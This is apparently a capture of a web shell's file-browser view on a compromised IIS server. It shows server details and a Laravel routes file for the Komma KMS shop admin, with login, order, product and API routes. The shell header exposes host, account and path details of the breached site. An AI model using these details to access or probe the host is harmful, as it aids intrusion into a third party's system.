HEX
Server: Microsoft-IIS/8.5
System: Windows NT YDAWBH120 6.3 build 9600 (Windows Server 2012 R2 Standard Edition) AMD64
User: tentjecom_web (0)
PHP: 7.4.14
Disabled: NONE
Upload Files
File: D:/HostingSpaces/SBogers10/topswtwmobile.komma.pro/workbench/komma/kms/src/routes.php
<?php

use Komma\Kms\Pages\PageRepository;
use Komma\Kms\Shops\Shop;

Route::group(['prefix' => 'kms'], function () {

    /**
     * Routes for logging in and out
     */
    Route::get('/login', 'Komma\Kms\Users\AuthController@login');
    Route::post('/login', 'Komma\Kms\Users\AuthController@processLogin');
    Route::get('/logout', 'Komma\Kms\Users\AuthController@logout');

    /**
     * Secure Kms Routes
     */
    Route::group(['before' => 'kmsAuth'], function () {

        // Api
        Route::get('/api/{shop}/pages', 'Komma\Kms\Pages\PageController@getPageStructureAsJson');
        Route::post('/api/{shop}/pages', 'Komma\Kms\Pages\PageController@setPageStructureAsJson');

        Route::get('/api/{shop}/categories', 'Komma\Kms\Categories\CategoryController@getCategoryStructureAsJson');
        Route::post('/api/{shop}/categories', 'Komma\Kms\Categories\CategoryController@setCategoryStructureAsJson');

        // Dashboard
        Route::get('/', ['as' => 'kms.dashboard.index', 'uses' => 'Komma\Kms\Dashboard\DashboardController@index']);

        //Mobile-dashboard
        Route::get('mobile-dashboard', ['as' => 'kms.dashboard.mobile', 'uses' => 'Komma\Kms\Dashboard\DashboardController@mobileDash']);

        // Users
        Route::resource('users', 'Komma\Kms\Users\UserController');

        // Orders
        Route::get('orders/niet-betaald', [
            'as' => 'kms.orders.not-payed',
            'uses' => 'Komma\Kms\Orders\OrderController@showOpen'
        ]);
        Route::get('orders/betaald', [
            'as' => 'kms.orders.payed',
            'uses' => 'Komma\Kms\Orders\OrderController@showPayed'
        ]);
        Route::get('orders/behandeling', [
            'as' => 'kms.orders.in-treatment',
            'uses' => 'Komma\Kms\Orders\OrderController@showInTreatment'
        ]);

        Route::get('orders/verzonden', [
            'as' => 'kms.orders.send',
            'uses' => 'Komma\Kms\Orders\OrderController@showSend'
        ]);
        Route::get('orders/voltooid', [
            'as' => 'kms.orders.complete',
            'uses' => 'Komma\Kms\Orders\OrderController@showComplete'
        ]);
        Route::get('orders/geannuleerd', [
            'as' => 'kms.orders.canceled',
            'uses' => 'Komma\Kms\Orders\OrderController@showCanceled'
        ]);

        Route::get('orders/download', ['as' => 'kms.orders.download', 'uses' => 'Komma\Kms\Orders\OrderController@exportOrders']);
        Route::post('orders/download', ['as' => 'kms.orders.download', 'uses' => 'Komma\Kms\Orders\OrderController@downloadExportOrders']);
        Route::get('orders/search', ['as' => 'kms.orders.search', 'uses' => 'Komma\Kms\Orders\OrderController@searchPage']);
        Route::post('orders/search', ['as' => 'kms.orders.search', 'uses' => 'Komma\Kms\Orders\OrderController@searchOrders']);
        Route::get('orders/search/{order}', ['as' => 'kms.orders.search.detail', 'uses' => 'Komma\Kms\Orders\OrderController@showOrder']);
        Route::post('orders/search/{order}', ['as' => 'kms.orders.search.detail', 'uses' => 'Komma\Kms\Orders\OrderController@updateOrder']);
        //Route to download the invoice
        Route::get('orders/invoice/{invoice}', 'Komma\Kms\Orders\OrderController@downloadInvoice');
        Route::get('orders/{order}/download/{type}', 'Komma\Kms\Orders\OrderController@getDownload');


        Route::resource('orders', 'Komma\Kms\Orders\OrderController');
        Route::get('orders', ['as' => 'kms.orders.dashboard', 'uses' => 'Komma\Kms\Orders\OrderController@dashboard']);


        // Shipments
        Route::resource('shipments', 'Komma\Kms\Shipments\ShipmentController');
        Route::controller('shipment', 'Komma\Kms\Shipments\ShipmentController'); // Ugly fix in route name


        // Products
        Route::get('products/import', ['as' => 'kms.products.import.form', 'uses' => 'Komma\Kms\Products\ProductController@importForm']);
        Route::post('products/import', ['as' => 'kms.products.import', 'uses' => 'Komma\Kms\Products\ProductController@import']);

        Route::get('products/export', ['as' => 'kms.products.export', 'uses' => 'Komma\Kms\Products\ProductController@export']);


        Route::get('products/search', ['as' => 'kms.products.search', 'uses' => 'Komma\Kms\Products\ProductController@searchProduct']);
        Route::resource('products', 'Komma\Kms\Products\ProductController');

        // Shop specific Routes
        Route::group(['prefix' => '{shop}'], function () {

            // Dashboard
            Route::resource('dashboard', 'Komma\Kms\Dashboard\DashboardController');

            // Pages
            Route::resource('pages', 'Komma\Kms\Pages\PageController');

            // Blocks
            Route::resource('blocks', 'Komma\Kms\Blocks\BlockController');


            // Categories
            Route::resource('categories', 'Komma\Kms\Categories\CategoryController');

            // Customers
            Route::resource('customers', 'Komma\Kms\Customers\CustomerController');

            // Order Discounts
            Route::resource('order-discounts', 'Komma\Kms\OrderDiscounts\OrderDiscountController');

            // Product Discounts
            Route::resource('product-discounts', 'Komma\Kms\ProductDiscounts\ProductDiscountController');

            // Customers
            Route::resource('coupons', 'Komma\Kms\Coupons\CouponController');

            //Shipping costs
            Route::resource('shipping-costs', 'Komma\Kms\ShippingCosts\ShippingCostsController');

            //Maintenance
            Route::resource('maintenance', 'Komma\Kms\Maintenance\MaintenanceController');


        });

    });

});
//Google shopping, outside kms
Route::get('api/google-shopping-feed-{shop_slug}-{lang_iso}.xml', 'Komma\Kms\GoogleShopping\GoogleShoppingController@index');
//Google shopping images
Route::get('api/google-shopping-feed/{image_url}', 'Komma\Kms\GoogleShopping\GoogleShoppingController@imageServer');

/**
 * Commands
 */

Route::group(['prefix' => 'command'], function () {

    require 'commands.php';

});